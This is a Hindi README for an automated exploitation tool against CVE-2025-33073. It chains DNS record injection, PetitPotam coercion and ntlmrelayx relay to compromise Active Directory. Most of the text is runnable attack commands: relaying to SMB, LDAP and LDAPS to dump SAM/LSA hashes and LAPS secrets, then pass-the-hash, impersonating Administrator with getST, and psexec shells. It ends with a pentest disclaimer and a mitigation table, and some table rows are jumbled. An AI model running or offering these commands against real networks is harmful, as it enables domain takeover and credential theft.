
cupntlm
CVE-2025-33073 — DNS जबरदस्ती के माध्यम से NTLM प्रतिबिंब बाईपास
सक्रिय निर्देशिका वातावरण के लिए स्वचालित शोषण उपकरण।
cupntlm NTLM प्रतिबिंब/रिले आक्रमण श्रृंखला को स्वचालित करता है जो CVE-2025-33073 का दुरुपयोग करता है। यह DNS रिकॉर्ड इंजेक्शन, बलपूर्वक प्रमाणीकरण जबरदस्ती (PetitPotam), और NTLM रिले को एक ही वर्कफ़्लो में जोड़ता है। यह उपकरण दो ऑपरेशनल मोड का समर्थन करता है जो दायरे और गुप्तता आवश्यकताओं पर निर्भर करता है।
हमलावर डोमेन नियंत्रक लक्ष्य होस्ट
│ │ │
│── 1. DNS रिकॉर्ड इंजेक्ट करें ───────▶│ │
│ (हमलावर IP लक्ष्य के रूप में) │ │
│ │ │
│── 2. प्रमाणीकरण जबरदस्ती (PetitPotam) ─────────────────────────────▶│
│ │ │
│◀─ 3. NTLM प्रमाणीकरण वापस भेजा गया ─────────────────────────────│
│ │ │
│── 4. DC को रिले करें ─────────────▶│ │
│ (ntlmrelayx) │ │
│ │ │
│◀─ 5. शेल / secretsdump / आदि.│ │
लक्ष्य नेटवर्क पर आवश्यक शर्तें:
| लाइब्रेरी | इंस्टॉल |
|---|---|
impacket | pip3 install impacket --break-system-packages |
colorama | pip3 install colorama --break-system-packages |
dnspython | pip3 install dnspython --break-system-packages |
exploit/
├── cupntlm.py
├── ntlmrelayx.py # from impacket
├── dnstool.py # from krbrelayx
├── lib/ # krbrelayx support library
└── PetitPotam.py
git clone https://github.com/EgCupCake/cupntlm.git
cd cupntlm
sudo bash setup.sh
कुछ भी प्रयास करने से पहले लक्ष्यों पर SMB साइनिंग स्थिति की जांच करता है और डोमेन क्रेडेंशियल्स को मान्य करता है।
cd exploit
sudo python3 cupntlm.py check \
--domain lab.local \
--user pentester \
--pass 'P@ss' \
--dc-ip 10.0.0.1 \
--relay-ip 192.168.1.100
प्रत्येक लक्ष्य के लिए एक अद्वितीय DNS रिकॉर्ड बनाता है, एक-एक करके जबरदस्ती ट्रिगर करता है, और पुनरावृत्तियों के बीच रिकॉर्ड साफ करता है। धीमा लेकिन अधिक सटीक और कम शोर छोड़ता है।
sudo python3 cupntlm.py per-target \
--targets targets.txt \
--domain lab.local \
--user pentester \
--pass 'P@ss' \
--dc-ip 10.0.0.1 \
--relay-ip 192.168.1.100 \
--loot loot.txt
एक एकल DNS रिकॉर्ड इंजेक्ट करता है और सभी लक्ष्यों के माध्यम से पुनरावृति करते हुए ntlmrelayx को लगातार चलाता है। बड़े दायरे के लिए तेज़।
sudo python3 cupntlm.py single \
--targets targets.txt \
--domain lab.local \
--user pentester \
--pass 'P@ss' \
--dc-ip 10.0.0.1 \
--relay-ip 192.168.1.100 \
--loot loot.txt
192.168.1.10
192.168.1.11
192.168.1.12
निम्नलिखित चरण cupntlm.py का उपयोग किए बिना पूर्ण आक्रमण श्रृंखला को मैन्युअल रूप से पुन: उत्पन्न करते हैं। प्राइमिटिव को समझने, डीबग करने, या गैर-मानक वातावरण में अनुकूलन के लिए उपयोगी।
उन होस्टों की पहचान करें जहां SMB साइनिंग अक्षम है। ये आपके वैध रिले लक्ष्य हैं।
netexec smb 192.168.1.0/24 --gen-relay-list targets_unsigned.txt
या nmap के साथ:
nmap -p 445 --script smb2-security-mode 192.168.1.0/24
देखें:
संदेश साइनिंग सक्षम लेकिन आवश्यक नहीं ← वैध रिले लक्ष्य
संदेश साइनिंग सक्षम और आवश्यक ← यहां रिले नहीं कर सकते
डोमेन के DNS में एक A रिकॉर्ड जोड़ने के लिए dnstool.py का उपयोग करें जो एक होस्टनाम को आपकी मशीन पर इंगित करता है। जब कोई लक्ष्य इस होस्टनाम को हल करता है और प्रमाणित करता है, तो अनुरोध आपके रिले श्रोता पर आता है।
cd exploit/
python3 dnstool.py \
-u "lab.local\\pentester" \
-p 'P@ss' \
--action add \
--record 'attacker-relay' \
--data 192.168.45.200 \ # your attacker IP
--type A \
10.0.0.1 # DC IP
सत्यापित करें कि रिकॉर्ड जोड़ा गया था:
python3 dnstool.py \
-u "lab.local\\pentester" \
-p 'P@ss' \
--action query \
--record 'attacker-relay' \
10.0.0.1
जबरदस्ती ट्रिगर करने से पहले ntlmrelayx.py प्रारंभ करें। यह आने वाले प्रमाणीकरण की प्रतीक्षा करेगा।
SMB पर रिले — SAM/LSA डंप करें:
sudo python3 ntlmrelayx.py \
-t smb://192.168.1.100 \
-smb2support \
--no-http-server
LDAP पर रिले — एक नया मशीन खाता बनाएं (RBCD / छाया क्रेडेंशियल के लिए):
sudo python3 ntlmrelayx.py \
-t ldap://10.0.0.1 \
--delegate-access \
--no-smb-server \
--no-http-server
LDAPS पर रिले — डोमेन रहस्य डंप करें:
sudo python3 ntlmrelayx.py \
-t ldaps://10.0.0.1 \
--dump-laps \
--no-smb-server \
--no-http-server
लक्ष्य मशीन को आपके इंजेक्ट किए गए DNS रिकॉर्ड में आउटबाउंड प्रमाणीकरण करने के लिए ट्रिगर करें। PetitPotam MS-EFSRPC इंटरफ़ेस का दुरुपयोग करता है — अप्रबंधित होस्ट पर कोई क्रेडेंशियल की आवश्यकता नहीं, या प्रबंधित के लिए वैध क्रेडेंशियल का उपयोग करें।
अप्रमाणित (अपैच लक्ष्य):
python3 PetitPotam.py \
[dnsname] \ # your listener IP (matches DNS record)
192.168.1.50 # target host to coerce
प्रमाणित (पैच किया गया लक्ष्य, वैध क्रेडेंशियल आवश्यक):
python3 PetitPotam.py \
-u pentester \
-p 'P@ss' \
-d lab.local \
[dnsname] \
192.168.1.50
इस बिंदु पर, जबरदस्ती किया गया होस्ट अपने NTLM प्रमाणीकरण को आपकी मशीन पर भेजता है → ntlmrelayx इसे पकड़ता है और रिले करता है।
चरण 3 में आपके द्वारा चुने गए रिले लक्ष्य के आधार पर:
<hostname>_samhashes.txt / _lsahashes.txt लिखता हैgetST.py के साथ अनुवर्ती करेंसगाई के बाद हमेशा इंजेक्ट किए गए DNS रिकॉर्ड हटाएं।
python3 dnstool.py \
-u "lab.local\\pentester" \
-p 'P@ss' \
--action remove \
--record 'attacker-relay' \
--data 192.168.45.200 \
--type A \
10.0.0.1
रिले किए गए मशीन खाते के साथ पास-द-हैश:
impacket-secretsdump \
'lab.local/MACHINE$'@10.0.0.1 \
-hashes :aad3b435b51404eeaad3b435b51404ee:<NT_HASH>
S4U2Self के लिए सेवा टिकट प्राप्त करें (RBCD के बाद):
impacket-getST \
-spn cifs/TARGET.lab.local \
-impersonate Administrator \
'lab.local/ATTACKERMACHINE$:password'
टिकट का उपयोग करें:
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass TARGET.lab.local
| नियंत्रण | प्रभाव |
|---|---|
| सभी होस्टों पर SMB साइनिंग (आवश्यक) सक्षम करें |
यह उपकरण केवल अधिकृत प्रवेश परीक्षण और सुरक्षा अनुसंधान के लिए है।
उन प्रणालियों के विरुद्ध उपयोग न करें जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है।
| उपकरण | उद्देश्य |
|---|
python3 | रनटाइम |
pip3 | पायथन पैकेज प्रबंधक |
git | निर्भरताएँ क्लोन करना |
wget | फ़ाइलें डाउनलोड करना |
nmap | SMB साइनिंग गणना |
netexec / crackmapexec | SMB साइनिंग जांच (वैकल्पिक) |
| SMB पर रिले तोड़ता है |
| LDAP साइनिंग + चैनल बाइंडिंग सक्षम करें | LDAP/LDAPS पर रिले तोड़ता है |
| MS-EFSRPC को पैच करें (KB5005413) | अप्रमाणित PetitPotam को अवरुद्ध करता है |
| DNS रिकॉर्ड निर्माण को प्रशासकों तक सीमित करें | DNS इंजेक्शन चरण को अवरुद्ध करता है |
| NTLM नेटवर्क प्रमाणीकरण अक्षम करें (Kerberos पसंद करें) | पूरी कक्षा को समाप्त करता है |